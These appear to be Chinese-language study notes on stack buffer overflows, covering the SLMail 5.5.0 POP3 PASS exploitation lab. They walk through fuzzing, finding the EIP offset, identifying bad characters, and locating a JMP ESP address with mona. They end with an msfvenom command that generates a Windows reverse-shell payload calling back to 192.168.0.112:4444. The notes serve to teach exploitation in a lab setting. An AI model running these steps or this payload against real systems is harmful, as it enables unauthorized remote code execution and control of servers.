缓冲区溢出
- 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据
- 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
如何发现漏洞
- 源码审计
- 逆向工程
- 模糊测试
- 向程序堆栈发送半随机的数据,根据内存变化判断溢出
- 数据生成器:生成随机、半随机数据
- 测试工具:识别溢出漏洞
FUZZING
SLMail 5.5.0 Mail Server
- POP3 PASS命令存在缓冲区溢出漏洞
- 无需身份验证远程代码执行
- 防护机制:
- DEP: 阻止代码从数据页被执行
- ASLR: 随机内存地址加载执行程序和DLL,每次重启地址变化
步骤:
测试PASS命令接收到大量数据时是否会溢出
找到精确溢出到EIP的4个字节
二分法
唯一字符串法
- /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2700
- 上一条命令即
msf-pattern_create -l 2700
- 然后使用
msf-pattern_offset -q Di9D
- 找出坏字符
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
- 返回地址、Shellcode、buffer中都不能出现坏字符
- null (0x00)空字符,用于终止字符串的拷贝操作
- return (0x0D) 回车操作,表示POP3 PASS命令输入完成
- 思路:发送0x00-0xff 256个字符,查找所有坏字符
- 重定向数据流
用ESP地址替换EIP的值,但是ESP地址变化,不可硬编码。SLMail线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
- 在内存中寻找地址固定的系统模块,在模块中寻找JMP ESP指令的地址跳转,再由该指令简介跳转到ESP,从而执行shellcode
- mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
- 寻找无DEP、ALSR保护的内存地址
- 内存地址不包含坏字符
寻找不受保护的系统模块
- !mona modules
将汇编指令jmp esp转换为二进制
./nasm_shell.rb
或msf-nasm_shell
- FFE4
在模块中搜索FFE4指令
!mona find -s "\xff\xe4" -m slmfc.dll
- 选择不包含坏字符的内存地址
在该地址设置断点
重发buffer
- 生成ShellCode
在msfvenom查找相应的payload
msfvenom --list payloads|grep windows|grep reverse_tcp
查看该Payload生成需要哪些参数
msfvenom -p windows/shell_reverse_tcp --list-options
生成Payload
msfvenom --platform Windows -b '\x00\x01\x0d' -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.0.112 LPORT=4444 -f py
- 在本地侦听4444端口,执行脚本,拿到控制权
其它
- 汇编指令
- JMP XXX 跳转到某寄存器
- ADD XXX,12 XXX寄存器后移12位
- 注意fuzzing要步步为营,否则很容易混乱。